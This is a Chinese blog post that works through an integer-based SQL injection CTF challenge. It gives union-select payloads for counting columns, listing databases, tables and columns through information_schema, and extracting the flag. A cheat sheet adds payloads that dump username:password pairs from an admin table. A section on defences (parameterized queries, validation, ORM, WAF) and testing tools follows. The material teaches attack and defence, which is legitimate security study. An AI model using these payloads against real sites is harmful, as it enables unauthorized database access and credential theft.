web安全学习-------2.sql整数型注入

本文详细介绍了一次整数型SQL注入攻击的过程,包括确定数据列数、联合查询、暴库名、爆表名、爆列名及获取数据的具体步骤。通过实际案例,展示了如何利用SQL注入漏洞获取目标数据库信息。

在这里插入图片描述
这是作者遇到的一个题目,当然这个题目也很直白,整数型注入。
我们一次填入1,2,3会发现只有1和2有回显,3并没有回显。说明可以查询到的数据有两个。在这里插入图片描述
在这里插入图片描述
接着我们测试一下数据有几列:

测试列数:
GET:id=1 order by 3#
POST:id=1’ order by 3#
在这里插入图片描述
我们可以看到3并没有回显,2的时候正常显示,所以数据一共两列。

接下来就是尝试联合查询了,记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这两列数据 。在这里插入图片描述
接下来就是一些套路操作了:

  1. 暴库名
  2. 爆表名
  3. 爆列名
  4. 获取数据

就酱都是大同小异,输入的sql语句也有格式可寻:

1.暴库名:
id=0 union select 1,database()#
这里select user(),version()还可有求出数据库的用户和数据库的版本,当然我们这里是不需要的。
在这里插入图片描述
sqli即是我们所求的数据库名。

2.爆表名
我们就要根据sqli去求出这个表名
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
flag即是我们所要求的表名,接下来我们就是要通过flag求出列名。

3.爆列名
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’
在这里插入图片描述
这里一定一定要注意在输入sql语句是是英文字符状态,我在这里因为是中文状态卡了好一会。

4.获取数据
我们已经将数据的列名flag得到,那么接下来就是通过表名和列名来求到flag。
id=0 union select 1,flag from flag
在这里插入图片描述
id和=是连在一起的,否则也是无法得到结果的。

最后关于手工注入的补充一点知识:

mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。

SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名

爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值 select group_concat(username,0x3a,password) from adminuser

### SQL注入基础知识 SQL注入是一种常见的网络安全漏洞,允许攻击者通过向应用程序提交恶意SQL语句来操纵数据库操作。这种攻击利用了程序未能正确处理用户输入的情况,从而可能造成敏感数据泄露、数据损坏或其他严重后果[^1]。 #### 攻击原理 SQL注入的核心在于攻击者能够通过特定字符(如单引号 `'` 或双引号 `"`),修改原始SQL查询的结构并执行未经授权的操作。例如,在登录表单中输入用户名为 `admin' --` 可能会关闭后续的部分SQL语法,导致非法访问成功[^2]。 --- ### 防御方法概述 针对SQL注入的风险,可以通过多种技术手段加以防范: #### 参数化查询 参数化查询是预防SQL注入最有效的方法之一。它强制区分SQL代码与动态传入的数据部分,即使输入包含危险字符也不会影响原有查询逻辑。以下是Python中的一个例子使用SQLite库实现参数绑定: ```python import sqlite3 conn = sqlite3.connect('example.db') cursor = conn.cursor() # 安全的方式传递变量给SQL命令 username = 'test_user' password = 'secure_password' query = "SELECT * FROM users WHERE username=? AND password=?" cursor.execute(query, (username, password)) results = cursor.fetchall() print(results) conn.close() ``` 上述代码片段展示了如何借助占位符(`?`)代替直接拼接字符串构建最终SQL指令,避免潜在风险。 #### 输入验证 除了采用参数化外,还应该实施严格的输入校验机制。这不仅限于简单的长度限制或者正则表达式匹配,还需要考虑业务场景下的合理性判断。比如对于电子邮件地址字段,则需确认其格式是否符合标准RFC规范;而对于整数型ID值,则要确保只接受纯数字形式。 #### 使用ORM框架 对象关系映射(Object Relational Mapping) 技术简化了开发者编写复杂SQL的过程,并内置了许多安全性保障措施。像Django ORM或Hibernate这样的高级抽象层自动实现了必要的转义功能,减少了手动犯错的机会[^3]。 #### Web应用防火墙(WAF) 部署WAF作为额外防线也是明智之举。这些设备位于客户端请求到达实际服务器之前的位置上,能够识别已知模式特征的可疑流量并将之拦截下来。然而需要注意的是,尽管它们提供了即时保护作用,但并不能完全替代良好的编程习惯和全面测试流程。 --- ### 工具推荐 为了更高效地定位可能存在隐患的地方,可以引入专门设计用来评估网站是否存在此类弱点的应用软件包。下面列举了几款流行的选择供参考: - **sqlmap**: 开源自动化渗透测试工具,支持大量自定义选项以便深入探索目标环境内的每一个角落。 - **Burp Suite Professional**: 商业版提供强大的代理监听能力配合手动作业完成更加精细粒度上的分析工作。 - **Nessus / OpenVAS**: 综合性漏洞管理解决方案的一部分,覆盖范围广泛不仅仅局限于单一类型的威胁类别。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值